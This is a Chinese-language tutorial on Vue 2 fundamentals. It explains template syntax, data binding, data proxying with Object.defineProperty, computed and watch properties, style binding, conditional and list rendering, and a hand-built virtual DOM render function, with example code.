Vue基礎語法整理

vue基礎用法&基礎原理整理

1. vue基礎知識和原理

1.1 初識Vue

  • 想讓Vue工作,就必須創建一個Vue實例,且要傳入一個配置對象
  • demo容器裏的代碼依然符合html規範,只不過混入了一些特殊的Vue語法
  • demo容器裏的代碼被稱爲【Vue模板】
  • Vue實例和容器是一一對應的
  • 真實開發中只有一個Vue實例,並且會配合着組件一起使用
  • {{xxx}}是Vue的語法:插值表達式,{{xxx}}可以讀取到data中的所有屬性
  • 一旦data中的數據發生改變,那麼頁面中用到該數據的地方也會自動更新(Vue實現的響應式)

初始示例代碼

<!-- 準備好一個容器 -->
<div id="demo">
	<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
</div>

<script type="text/javascript" >
	Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

	//創建Vue實例
	new Vue({
		el:'#demo', //el用於指定當前Vue實例爲哪個容器服務,值通常爲css選擇器字符串。
		data:{ //data中用於存儲數據,數據供el所指定的容器去使用,值我們暫時先寫成一個對象。
			name:'hello,world',
			address:'北京'
		}
	});
</script>

1.2 模板語法![][]

Vue模板語法有2大類:

  • 插值語法:

    功能:用於解析標籤體內容

    寫法:{{xxx}},xxx是js表達式,且可以直接讀取到data中的所有屬性

  • 指令語法:

    功能:用於解析標籤(包括:標籤屬性、標籤體內容、綁定事件.....)

    舉例:v-bind:href="xxx" 或 簡寫爲 :href="xxx",xxx同樣要寫js表達式,且可以直接讀取到data中的所有屬性

代碼

<div id="root">
	<h1>插值語法</h1>
	<h3>你好,{{name}}</h3>
	<hr/>
	<h1>指令語法</h1>
    <!-- 這裏是展示被Vue指令綁定的屬性,引號內寫的是js表達式 -->
	<a :href="school.url.toUpperCase()" x="hello">點我去{{school.name}}學習1</a>
	<a :href="school.url" x="hello">點我去{{school.name}}學習2</a>
</div>

<script>
    new Vue({
		el:'#root',
		data:{
			name:'jack',
			school:{
				name:'百度',
				url:'http://www.baidu.com',
			}
        }
	})
</script>

1.3 數據綁定

Vue中有2種數據綁定的方式:

  • 單向綁定(v-bind):數據只能從data流向頁面

  • 雙向綁定(v-model):數據不僅能從data流向頁面,還可以從頁面流向data

    tips:

    1.雙向綁定一般都應用在表單類元素上(如:input、select等)

    2.v-model:value 可以簡寫爲 v-model,因爲v-model默認收集的就是value值

代碼

<div id="root">
	<!-- 普通寫法 單向數據綁定 -->
    單向數據綁定:<input type="text" v-bind:value="name"><br/>
    雙向數據綁定:<input type="text" v-model:value="name"><br/>
    
    <!-- 簡寫 v-model:value 可以簡寫爲 v-model,因爲v-model默認收集的就是value值-->
    單向數據綁定:<input type="text" :value="name"><br/>
    雙向數據綁定:<input type="text" v-model="name"><br/>
</div>

<script>
    new Vue({
		el:'#root',
		data:{
			name:'jack',
        }
	})
</script>

1.4 el與data的兩種寫法

el有2種寫法

  • new Vue時候配置el屬性

  • 先創建Vue實例,隨後再通過vm.$mount('#root')指定el的值

代碼

<script>
   	// 第一種 
	const vm = new Vue({
		el:'#root',
		data:{
			name:'jack',
        }
	})
    
    // 第二種
    vm.$mount('#root')
</script>

data有2種寫法

  • 對象式

  • 函數式

    在組件中,data必須使用函數式

代碼

<script>
    new Vue({
		el:'#root',
        // 第一種
		data:{
			name:'jack',
        }
        
        // 第二種
        data() {
        	return {
                name: 'jack'
            }
    	}
	})
</script>

1.5 Vue中的MVVM

  • M:模型(Model) :data中的數據
  • V:視圖(View) :模板代碼
  • VM:視圖模型(ViewModel):Vue實例

1.6 數據代理

瞭解數據代理需要js的一些知識:Object.defineProperty(),屬性標誌,屬性描述符,getter,setter。。。

建議學習文章地址:

https://zh.javascript.info/property-descriptors

https://zh.javascript.info/property-accessors

這裏簡單介紹一下:

屬性標誌:

對象屬性(properties),除 value 外,還有三個特殊的特性(attributes),也就是所謂的“標誌”

  • writable — 如果爲 true,則值可以被修改,否則它是隻可讀的
  • enumerable — 如果爲 true,則表示是可以遍歷的,可以在for.. .in Object.keys()中遍歷出來
  • configurable — 如果爲 true,則此屬性可以被刪除,這些特性也可以被修改,否則不可以

Object.getOwnPropertyDescriptor(obj, propertyName)

這個方法是查詢有關屬性的完整信息 obj是對象, propertyName是屬性名

let user = {
  name: "John"
};

let descriptor = Object.getOwnPropertyDescriptor(user, 'name');


console.log(descriptor)

/* 屬性描述符:
{
  "value": "John",
  "writable": true,
  "enumerable": true,
  "configurable": true
}
*/

打印結果

在這裏插入圖片描述

Object.defineProperty(obj, prop, descriptor)

obj:要定義屬性的對象。

prop:要定義或修改的屬性的名稱

descriptor:要定義或修改的屬性描述符

let user = {
  name: "John"
};

Object.defineProperty(user, "name", {
  writable: false
});

user.name = "Pete";

// 打印後還是顯示 'John',無法修改name值

其他的屬性標誌就不演示了,接下來看重點:訪問器屬性。

訪問器屬性:

本質上是用於獲取和設置值的函數,但從外部代碼來看就像常規屬性。

訪問器屬性由 “getter” 和 “setter” 方法表示。在對象字面量中,它們用 getset 表示:

let obj = {
    get name() {
        // 當讀取 obj.propName 時,getter 起作用
    },
    set name() {
        // 當執行 obj.name = value 操作時,setter 起作用
    }
}

更復雜一點的使用

let user = {
	surname: 'gao',
    name: 'han'
    
    get fullName() {
        return this.name + this.surname;
    }
}

console.log(user.fullName)

從外表看,訪問器屬性看起來就像一個普通屬性。這就是訪問器屬性的設計思想。我們不以函數的方式 調用 user.fullName,我們正常 讀取 它:getter 在幕後運行。

vue的計算屬性的底層構造感覺用到了這種思想,我目前還沒看過源碼,是這樣猜想的。

截至目前,fullName 只有一個 getter。如果我們嘗試賦值操作 user.fullName=,將會出現錯誤:

user.fullName = "Test"; // Error(屬性只有一個 getter)

user.fullName 添加一個 setter 來修復它:

let user = {
	surname: 'gao',
    name: 'han'
    
    get fullName() {
        return this.name + ' ' + this.surname;
    }

	set fullName(value) {
        // 這個用到了新語法 結構賦值
        [this.surname, this.name] = value.split(' ');
    }
}

user.fullName = 'Li Hua'

console.log(user.name);
console.log(user.surname);

終於可以介紹數據代理了

數據代理:通過一個對象代理對另一個對象中屬性的操作(讀/寫)

先來看個案例:

let obj = {
    x: 100
}

let obj2 = {
    y: 200
}

這時候提一個需求:我們想要訪問 obj 中的 x 的值,但我們最好不要直接去訪問 obj ,而是想要通過 obj2 這個代理對象去訪問。

這時候就可以用上 Object.defineProperty(),給 obj2 添加上訪問器屬性(也就是getter和setter)

代碼

let obj = {
    x: 100
}

let obj2 = {
    y: 200
}

Object.defineProperty(obj2, 'x', {
    get() {
        return obj.x;
    },
    set(value) {
        obj.x = value;
    }
})

這就是數據代理,也不難吧

接下來介紹Vue中的數據代理

  • Vue中的數據代理:通過vm對象來代理data對象中屬性的操作(讀/寫)
  • Vue中數據代理的好處:更加方便的操作data中的數據
  • 基本原理:
    • 通過Object.defineProperty()把data對象中所有屬性添加到vm上。
    • 爲每一個添加到vm上的屬性,都指定一個getter/setter。
    • 在getter/setter內部去操作(讀/寫)data中對應的屬性。

我來用一個案例來詳細解釋這一個過程。

<!-- 準備好一個容器-->
<div id="root">
	<h2>學校名稱:{{name}}</h2>
	<h2>學校地址:{{address}}</h2>
</div>

<script>
	const vm = new Vue({
        el: '#root',
        data: {
            name: '浙江師範大學',
            address: '浙江金華'
        }
    })
</script>

我們在控制檯打印 new 出來的 vm

在這裏插入圖片描述

可以看到,寫在配置項中的 data 數據被 綁定到了 vm 對象上,我先來講結果,是 Vue 將 _data 中的 name,address 數據 代理到 vm 本身上。

一臉懵逼?

先來解釋下_data 是啥, _data 就是 vm 身上的 _data 屬性,就是下圖那個

在這裏插入圖片描述

這個 _data 是從哪來的?

<script>
    
	const vm = new Vue({
        el: '#root',
        // 我們在Vue 初始化的配置項中寫了 data 屬性。
        data: {
            name: '浙江師範大學',
            address: '浙江金華'
        }
    })
</script>

new Vue 時, Vue 通過一系列處理, 將匹配項上的 data 數據綁定到了 _data 這個屬性上,並對這個屬性進行了處理(數據劫持),但這個屬性就是來源於配置項中的 data,我們可以來驗證一下。

<script>
    
    let data1 = {
        name: '浙江師範大學',
        address: '浙江金華'
    }
    
	const vm = new Vue({
        el: '#root',
        // 我們在Vue 初始化的配置項中寫了 data 屬性。
        data: data1
    })
</script>

在這裏插入圖片描述

打印結果爲true,說明兩者就是同一個

好了,再回到數據代理上來,將 vm._data 中的值,再代理到 vm 本身上來,用vm.name 代替 vm._data.name。這就是 Vue 的數據代理

在這裏插入圖片描述

這一切都是通過 Object.defineProperty() 來完成的,我來模擬一下這個過程

Object.defineProperty(vm, 'name', {
    get() {
        return vm._data.name;
    },
    set(value) {
        vm._data.name = value
    }
})

這樣有啥意義?明明通過 vm._data.name 也可以訪問 name 的值,爲啥費力去這樣操作?

在插值語法中,{{ name }} 取到的值就相當於 {{ vm.name }},不用數據代理的話,在插值語法就要這樣去寫了。

{{ _data. name }} 這不符合直覺,怪怪的。vue 這樣設計更利於開發者開發,我們在研究原理會覺得有些複雜(笑~)

來個尚硅谷張天禹老師做的圖(非常推薦去看他的課,講的非常好)

在這裏插入圖片描述

1.7 事件處理

事件的基本使用:

  • 使用v-on:xxx 或 @xxx 綁定事件,其中xxx是事件名
  • 事件的回調需要配置在methods對象中,最終會在vm上
  • methods中配置的函數,都是被Vue所管理的函數,this的指向是vm 或 組件實例對象
<!-- 準備好一個容器-->
<div id="root">
    <h2>歡迎來到{{name}}學習</h2>
    <!-- <button v-on:click="showInfo">點我提示信息</button> -->
    <button @click="showInfo1">點我提示信息1(不傳參)</button>
    <!-- 主動傳事件本身 -->
    <button @click="showInfo2($event,66)">點我提示信息2(傳參)</button>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            name:'vue',
        },
        methods:{
            // 如果vue模板沒有寫event,會自動傳 event 給函數
            showInfo1(event){
                // console.log(event.target.innerText)
                // console.log(this) //此處的this是vm
                alert('同學你好!')
            },
            showInfo2(event,number){
                console.log(event,number)
                // console.log(event.target.innerText)
                // console.log(this) //此處的this是vm
                alert('同學你好!!')
            }
        }
	});
</script>

Vue中的事件修飾符

  • prevent:阻止默認事件(常用)
  • stop:阻止事件冒泡(常用)
  • once:事件只觸發一次(常用)
<!-- 準備好一個容器-->
<div id="root">
    <h2>歡迎來到{{name}}學習</h2>
    <!-- 阻止默認事件(常用) -->
	<a href="http://www.baidu.com" @click.prevent="showInfo">點我提示信息</a>
    <!-- 阻止事件冒泡(常用) -->
    <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">點我提示信息</button>
        <!-- 修飾符可以連續寫 -->
        <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">點我提示信息</a> -->
    </div>
    <!-- 事件只觸發一次(常用) -->
    <button @click.once="showInfo">點我提示信息</button>
</div>

1.8 鍵盤事件

鍵盤事件語法糖:@keydown,@keyup

Vue中常用的按鍵別名:

  • 回車 => enter
  • 刪除 => delete
  • 退出 => esc
  • 空格 => space
  • 換行 => tab (特殊,必須配合keydown去使用)
<!-- 準備好一個容器-->
<div id="root">
    <h2>歡迎來到{{name}}學習</h2>
    <input type="text" placeholder="按下回車提示輸入" @keydown.enter="showInfo">
</div>

<script>
    new Vue({
        el:'#root',
        data:{
            name:'浙江理工大學'
        },
        methods: {
            showInfo(e){
                // console.log(e.key,e.keyCode)
                console.log(e.target.value)
            }
        },
    })
</script>

1.9 計算屬性

  • 定義:要用的屬性不存在,要通過已有屬性計算得來
  • 原理:底層藉助了Objcet.defineProperty方法提供的getter和setter
  • get函數什麼時候執行?
    • (1).初次讀取時會執行一次
    • (2).當依賴的數據發生改變時會被再次調用
  • 優勢:與methods實現相比,內部有緩存機制(複用),效率更高,調試方便
  • 備註:
    • 計算屬性最終會出現在vm上,直接讀取使用即可
    • 如果計算屬性要被修改,那必須寫set函數去響應修改,且set中要引起計算時依賴的數據發生改變

計算屬性完整版寫法

<!-- 準備好一個容器-->
<div id="root">
    姓:<input type="text" v-model="firstName">
    名:<input type="text" v-model="lastName"> 
    全名:<span>{{fullName}}</span>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            firstName:'張',
            lastName:'三',
        }
        computed:{
            fullName:{
                //get有什麼作用?當有人讀取fullName時,get就會被調用,且返回值就作爲fullName的值
                //get什麼時候調用?1.初次讀取fullName時。2.所依賴的數據發生變化時。
                get(){
                    console.log('get被調用了')
                    return this.firstName + '-' + this.lastName
                },
                //set什麼時候調用? 當fullName被修改時。
                // 可以主動在控制檯修改fullName來查看情況
                set(value){
                    console.log('set',value)
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }
    })
</script>

在這裏插入圖片描述

計算屬性簡寫

<!-- 準備好一個容器-->
<div id="root">
    姓:<input type="text" v-model="firstName">
    名:<input type="text" v-model="lastName"> 
    全名:<span>{{fullName}}</span>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            firstName:'張',
            lastName:'三',
        }
        computed:{
            fullName() {
        		console.log('get被調用了')
				return this.firstName + '-' + this.lastName
    		}
        }
    })
</script>

1.10 監視屬性

監視屬性watch:

  • 當被監視的屬性變化時, 回調函數自動調用, 進行相關操作
  • 監視的屬性必須存在,才能進行監視
  • 監視的兩種寫法:
    • (1).new Vue時傳入watch配置
    • (2).通過vm.$watch監視

第一種寫法

<!-- 準備好一個容器-->
<div id="root">
    <h2>今天天氣很{{ info }}</h2>
    <button @click="changeWeather">切換天氣</button>
</div>


<script>
	const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎熱' : '涼爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            isHot:{
                immediate: true, // 初始化時讓handler調用一下
                // handler什麼時候調用?當isHot發生改變時。
                handler(newValue, oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }
        } 
    })
</script>

第二種寫法

<!-- 準備好一個容器-->
<div id="root">
    <h2>今天天氣很{{ info }}</h2>
    <button @click="changeWeather">切換天氣</button>
</div>


<script>
	const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎熱' : '涼爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        }
    })
    
    vm.$watch('isHot',{
        immediate:true, //初始化時讓handler調用一下
        //handler什麼時候調用?當isHot發生改變時。
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    })
</script>

深度監視:

  • (1).Vue中的watch默認不監測對象內部值的改變(一層)
  • (2).配置deep:true可以監測對象內部值改變(多層)

備註:

(1).Vue自身可以監測對象內部值的改變,但Vue提供的watch默認不可以

(2).使用watch時根據數據的具體結構,決定是否採用深度監視

<!-- 準備好一個容器-->
<div id="root">
    {{numbers.c.d.e}}
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。
    const vm = new Vue({
        el:'#root',
        data:{
            numbers:{
                c:{
                    d:{
                        e:100
                    }
                }
            }
        },
        watch:{
            //監視多級結構中某個屬性的變化
            /* 'numbers.a':{
					handler(){
						console.log('a被改變了')
					}
				} */
            //監視多級結構中所有屬性的變化
            numbers:{
                deep:true,
                handler(){
                    console.log('numbers改變了')
                }
            }
        }
    });
</script>

在這裏插入圖片描述

監視屬性簡寫

<!-- 準備好一個容器-->
<div id="root">
    <h2>今天天氣很{{info}}</h2>
    <button @click="changeWeather">切換天氣</button>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎熱' : '涼爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            //簡寫
            isHot(newValue, oldValue) {
					console.log('isHot被修改了', newValue, oldValue, this)
			} 
        }
    })
</script>

computed和watch之間的區別:

  • computed能完成的功能,watch都可以完成
  • watch能完成的功能,computed不一定能完成,例如:watch可以進行異步操作

兩個重要的小原則:

1.所被Vue管理的函數,最好寫成普通函數,這樣this的指向纔是vm 或 組件實例對象

2.所有不被Vue所管理的函數(定時器的回調函數、ajax的回調函數等、Promise的回調函數),最好寫成箭頭函數,這樣this的指向纔是vm 或 組件實例對象

<!-- 準備好一個容器-->
<div id="root">
    姓:<input type="text" v-model="firstName"> <br/><br/>
    名:<input type="text" v-model="lastName"> <br/><br/>
    全名:<span>{{fullName}}</span> <br/><br/>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            firstName:'張',
            lastName:'三',
            fullName:'張-三'
        },
        watch:{
            // watch 監視器裏可以寫 異步函數
            firstName(val){
                setTimeout(()=>{
                    console.log(this)
                    this.fullName = val + '-' + this.lastName
                },1000);
            },
            lastName(val){
                this.fullName = this.firstName + '-' + val
            }
        }
    })
</script>

1.11 綁定樣式

class樣式

寫法::class="xxx" xxx可以是字符串、對象、數。

所以分爲三種寫法,字符串寫法,數組寫法,對象寫法

字符串寫法

字符串寫法適用於:類名不確定,要動態獲取。

<style>
	.normal{
        background-color: skyblue;
    }
</style>

<!-- 準備好一個容器-->
<div id="root">
    <!-- 綁定class樣式--字符串寫法,適用於:樣式的類名不確定,需要動態指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            mood:'normal'
        }
    })
</script>

數組寫法

數組寫法適用於:要綁定多個樣式,個數不確定,名字也不確定。

<style>
    .atguigu1{
        background-color: yellowgreen;
    }
    .atguigu2{
        font-size: 30px;
        text-shadow:2px 2px 10px red;
    }
    .atguigu3{
        border-radius: 20px;
    }
</style>

<!-- 準備好一個容器-->
<div id="root">
    <!-- 綁定class樣式--數組寫法,適用於:要綁定的樣式個數不確定、名字也不確定 -->
	<div class="basic" :class="classArr">{{name}}</div>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            classArr: ['atguigu1','atguigu2','atguigu3']
        }
    })
</script>

對象寫法

對象寫法適用於:要綁定多個樣式,個數確定,名字也確定,但不確定用不用。

<style>
    .atguigu1{
        background-color: yellowgreen;
    }
    .atguigu2{
        font-size: 30px;
        text-shadow:2px 2px 10px red;
    }
</style>

<!-- 準備好一個容器-->
<div id="root">
    <!-- 綁定class樣式--對象寫法,適用於:要綁定的樣式個數確定、名字也確定,但要動態決定用不用 -->
	<div class="basic" :class="classObj">{{name}}</div>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            classObj:{
                atguigu1:false,
                atguigu2:false,
			}
        }
    })
</script>

style樣式

有兩種寫法,對象寫法,數組寫法

對象寫法

<!-- 準備好一個容器-->
<div id="root">
    <!-- 綁定style樣式--對象寫法 -->
	<div class="basic" :style="styleObj">{{name}}</div>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            styleObj:{
                fontSize: '40px',
                color:'red',
			}
        }
    })
</script>

數組寫法

<!-- 準備好一個容器-->
<div id="root">
    <!-- 綁定style樣式--數組寫法 -->
	<div class="basic" :style="styleArr">{{name}}</div>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            styleArr:[
                {
                    fontSize: '40px',
                    color:'blue',
                },
                {
                    backgroundColor:'gray'
                }
            ]
        }
    })
</script>

1.12 條件渲染

v-if

  • 寫法:

    (1).v-if="表達式"

    (2).v-else-if="表達式"

    (3).v-else="表達式"

  • 適用於:切換頻率較低的場景

  • 特點:不展示的DOM元素直接被移除

  • 注意:v-if可以和:v-else-if、v-else一起使用,但要求結構不能被“打斷”

<!-- 準備好一個容器-->
<div id="root">
    <!-- 使用v-if做條件渲染 -->
    <h2 v-if="false">歡迎來到{{name}}</h2>
    <h2 v-if="1 === 1">歡迎來到{{name}}</h2>
    
    
    <!-- v-else和v-else-if -->
    <div v-if="n === 1">Angular</div>
    <div v-else-if="n === 2">React</div>
    <div v-else-if="n === 3">Vue</div>
    <div v-else>哈哈</div>
    
    
    <!-- v-if與template的配合使用 -->
    <!-- 就不需要寫好多個判斷,寫一個就行 -->
    <!-- 這裏的思想就像事件代理的使用 -->
    <template v-if="n === 1">
        <h2>你好</h2>
        <h2>尚硅谷</h2>
        <h2>北京</h2>
    </template>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data:{
            styleArr:[
                {
                    fontSize: '40px',
                    color:'blue',
                },
                {
                    backgroundColor:'gray'
                }
            ]
        }
    })
</script>

v-show

  • 寫法:v-show="表達式"
  • 適用於:切換頻率較高的場景
  • 特點:不展示的DOM元素未被移除,僅僅是使用樣式隱藏掉(display:none)

備註:使用v-if的時,元素可能無法獲取到,而使用v-show一定可以獲取到

v-if 是實打實地改變dom元素,v-show 是隱藏或顯示dom元素

<!-- 準備好一個容器-->
<div id="root">
    <!-- 使用v-show做條件渲染 -->
    <h2 v-show="false">歡迎來到{{name}}</h2>
    <h2 v-show="1 === 1">歡迎來到{{name}}</h2>
</div>

1.13 列表渲染

v-for指令

  • 用於展示列表數據
  • 語法:v-for="(item, index) in xxx" :key="yyy"
  • 可遍歷:數組、對象、字符串(用的很少)、指定次數(用的很少)
<div id="root">
    <!-- 遍歷數組 -->
    <h2>人員列表(遍歷數組)</h2>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {{p.name}}-{{p.age}}
        </li>
    </ul>

    <!-- 遍歷對象 -->
    <h2>汽車信息(遍歷對象)</h2>
    <ul>
        <li v-for="(value,k) of car" :key="k">
            {{k}}-{{value}}
        </li>
    </ul>

    <!-- 遍歷字符串 -->
    <h2>測試遍歷字符串(用得少)</h2>
    <ul>
        <li v-for="(char,index) of str" :key="index">
            {{char}}-{{index}}
        </li>
    </ul>

    <!-- 遍歷指定次數 -->
    <h2>測試遍歷指定次數(用得少)</h2>
    <ul>
        <li v-for="(number,index) of 5" :key="index">
            {{index}}-{{number}}
        </li>
    </ul>
</div>

<script>
	const vm = new Vue({
        el:'#root',
        data: {
			persons: [
				{ id: '001', name: '張三', age: 18 },
				{ id: '002', name: '李四', age: 19 },
				{ id: '003', name: '王五', age: 20 }
			],
			car: {
				name: '奧迪A8',
				price: '70萬',
				color: '黑色'
			},
			str: 'hello'
		}
    })
</script>

key的原理

vue中的key有什麼作用?(key的內部原理)

瞭解vue中key的原理需要一些前置知識。

就是vue的虛擬dom,vue會根據 data中的數據生成虛擬dom,如果是第一次生成頁面,就將虛擬dom轉成真實dom,在頁面展示出來。

虛擬dom有啥用?每次vm._data 中的數據更改,都會觸發生成新的虛擬dom,新的虛擬dom會跟舊的虛擬dom進行比較,如果有相同的,在生成真實dom時,這部分相同的就不需要重新生成,只需要將兩者之間不同的dom轉換成真實dom,再與原來的真實dom進行拼接。我的理解是虛擬dom就是起到了一個dom複用的作用,還有避免重複多餘的操作,下文有詳細解釋。

而key有啥用?

key是虛擬dom的標識。

先來點預備的知識:啥是真實 DOM?真實 DOM 和 虛擬 DOM 有啥區別?如何用代碼展現真實 DOM 和 虛擬 DOM

真實DOM和其解析流程

這裏參考超級英雄大佬:https://juejin.cn/post/6844903895467032589

webkit 渲染引擎工作流程圖

img

中文版

img

所有的瀏覽器渲染引擎工作流程大致分爲5步:創建 DOM 樹 —> 創建 Style Rules -> 構建 Render 樹 —> 佈局 Layout -—> 繪製 Painting

  • 第一步,構建 DOM 樹:當瀏覽器接收到來自服務器響應的HTML文檔後,會遍歷文檔節點,生成DOM樹。需要注意的是在DOM樹生成的過程中有可能會被CSS和JS的加載執行阻塞,渲染阻塞下面會講到。

  • 第二步,生成樣式表:用 CSS 分析器,分析 CSS 文件和元素上的 inline 樣式,生成頁面的樣式表;

  • 渲染阻塞:當瀏覽器遇到一個script標籤時,DOM構建將暫停,直到腳本加載執行,然後繼續構建DOM樹。每次去執行Javascript腳本都會嚴重阻塞DOM樹構建,如果JavaScript腳本還操作了CSSOM,而正好這個CSSOM沒有下載和構建,那麼瀏覽器甚至會延遲腳本執行和構建DOM,直到這個CSSOM的下載和構建。所以,script標籤引入很重要,實際使用時可以遵循下面兩個原則:

    • css優先:引入順序上,css資源先於js資源

    • js後置:js代碼放在底部,且js應儘量少影響DOM構建

      還有一個小知識:當解析html時,會把新來的元素插入dom樹裏,同時去查找css,然後把對應的樣式規則應用到元素上,查找樣式表是按照從右到左的順序匹配的例如:div p {...},會先尋找所有p標籤並判斷它的父標籤是否爲div之後才決定要不要採用這個樣式渲染。所以平時寫css儘量用class或者id,不要過度層疊

  • 第三步,構建渲染樹:通過DOM樹和CSS規則我們可以構建渲染樹。瀏覽器會從DOM樹根節點開始遍歷每個可見節點(注意是可見節點)對每個可見節點,找到其適配的CSS規則並應用。渲染樹構建完後,每個節點都是可見節點並且都含有其內容和對應的規則的樣式。這也是渲染樹和DOM樹最大的區別所在。渲染是用於顯示,那些不可見的元素就不會在這棵樹出現了。除此以外,display none的元素也不會被顯示在這棵樹裏。visibility hidden的元素會出現在這棵樹裏。

  • 第四步,渲染布局:佈局階段會從渲染樹的根節點開始遍歷,然後確定每個節點對象在頁面上的確切大小與位置,佈局階段的輸出是一個盒子模型,它會精確地捕獲每個元素在屏幕內的確切位置與大小。

  • 第五步,渲染樹繪製:在繪製階段,遍歷渲染樹,調用渲染器的paint()方法在屏幕上顯示其內容。渲染樹的繪製工作是由瀏覽器的UI後端組件完成的。

注意點:

1、DOM 樹的構建是文檔加載完成開始的? 構建 DOM 樹是一個漸進過程,爲達到更好的用戶體驗,渲染引擎會盡快將內容顯示在屏幕上,它不必等到整個 HTML 文檔解析完成之後纔開始構建 render 樹和佈局。

2、Render 樹是 DOM 樹和 CSS 樣式表構建完畢後纔開始構建的? 這三個過程在實際進行的時候並不是完全獨立的,而是會有交叉,會一邊加載,一邊解析,以及一邊渲染。

3、CSS 的解析注意點? CSS 的解析是從右往左逆向解析的,嵌套標籤越多,解析越慢。

4、JS 操作真實 DOM 的代價?傳統DOM結構操作方式對性能的影響很大,原因是頻繁操作DOM結構操作會引起頁面的重排(reflow)和重繪(repaint),瀏覽器不得不頻繁地計算佈局,重新排列和繪製頁面元素,導致瀏覽器產生巨大的性能開銷。直接操作真實DOM的性能特別差,我們可以來演示一遍。

<div id="app"></div>
<script>
    // 獲取 DIV 元素
    let box = document.querySelector('#app');
    console.log(box);

    // 真實 DOM 操作
    console.time('a');
    for (let i = 0; i <= 10000; i++) {
        box.innerHTML = i;
    }
    console.timeEnd('a');

    // 虛擬 DOM 操作
    let num = 0;
    console.time('b');
    for (let i = 0; i <= 10000; i++) {
        num = i;
    }
    box.innerHTML = num;
    console.timeEnd('b');

</script>

在這裏插入圖片描述

從結果中可以看出,操作真實 DOM 的性能是非常差的,所以我們要儘可能的複用,減少 DOM 操作。

虛擬 DOM 的好處

​ 虛擬 DOM 就是爲了解決瀏覽器性能問題而被設計出來的。如前,若一次操作中有 10 次更新 DOM 的動作,虛擬 DOM 不會立即操作 DOM,而是將這 10 次更新的 diff 內容保存到本地一個 JS 對象中,最終將這個 JS 對象一次性 attchDOM 樹上,再進行後續操作,避免大量無謂的計算量。所以,用 JS 對象模擬 DOM 節點的好處是,頁面的更新可以先全部反映在 JS 對象(虛擬 DOM )上,操作內存中的 JS 對象的速度顯然要更快,等更新完成後,再將最終的 JS 對象映射成真實的 DOM,交由瀏覽器去繪製。

​ 雖然這一個虛擬 DOM 帶來的一個優勢,但並不是全部。虛擬 DOM 最大的優勢在於抽象了原本的渲染過程,實現了跨平臺的能力,而不僅僅侷限於瀏覽器的 DOM,可以是安卓和 IOS 的原生組件,可以是近期很火熱的小程序,也可以是各種GUI。

​ 回到最開始的問題,虛擬 DOM 到底是什麼,說簡單點,就是一個普通的 JavaScript 對象,包含了 tagpropschildren 三個屬性。

接下來我們手動實現下 虛擬 DOM。

分兩種實現方式:

一種原生 js DOM 操作實現;

另一種主流虛擬 DOM 庫(snabbdom、virtual-dom)的實現(用h函數渲染)(暫時還不理解)

算法實現

(1)用 JS 對象模擬 DOM 樹:

<div id="virtual-dom">
    <p>Virtual DOM</p>
    <ul id="list">
      <li class="item">Item 1</li>
      <li class="item">Item 2</li>
      <li class="item">Item 3</li>
    </ul>
    <div>Hello World</div>
</div> 

我們用 JavaScript 對象來表示 DOM 節點,使用對象的屬性記錄節點的類型、屬性、子節點等。

/**
 * Element virdual-dom 對象定義
 * @param {String} tagName - dom 元素名稱
 * @param {Object} props - dom 屬性
 * @param {Array<Element|String>} - 子節點
 */
function Element(tagName, props, children) {
    this.tagName = tagName;
    this.props = props;
    this.children = children;
    // dom 元素的 key 值,用作唯一標識符
    if (props.key) {
        this.key = props.key
    }
}
function el(tagName, props, children) {
    return new Element(tagName, props, children);
}

構建虛擬的 DOM ,用 javascript 對象來表示

let ul = el('div', { id: 'Virtual DOM' }, [
    el('p', {}, ['Virtual DOM']),
    el('ul', { id: 'list' }, [
        el('li', { class: 'item' }, ['Item 1']),
        el('li', { class: 'item' }, ['Item 2']),
        el('li', { class: 'item' }, ['Item 3'])
    ]),
    el('div', {}, ['Hello, World'])
])

現在 ul 就是我們用 JavaScript 對象表示的 DOM 結構,我們輸出查看 ul 對應的數據結構如下:

在這裏插入圖片描述

(2)將用 js 對象表示的虛擬 DOM 轉換成真實 DOM:需要用到 js 原生操作 DOM 的方法。

/**
 * render 將virdual-dom 對象渲染爲實際 DOM 元素
 */
Element.prototype.render = function () {
    // 創建節點
    let el = document.createElement(this.tagName);

    let props = this.props;
    // 設置節點的 DOM 屬性
    for (let propName in props) {
        let propValue = props[propName];
        el.setAttribute(propName, propValue)
    }

    let children = this.children || []
    for (let child of children) {
        let childEl = (child instanceof Element)
        ? child.render() // 如果子節點也是虛擬 DOM, 遞歸構建 DOM 節點
        : document.createTextNode(child) // 如果是文本,就構建文本節點

        el.appendChild(childEl);
    }

    return el;
}

我們通過查看以上 render 方法,會根據 tagName 構建一個真正的 DOM 節點,然後設置這個節點的屬性,最後遞歸地把自己的子節點也構建起來。

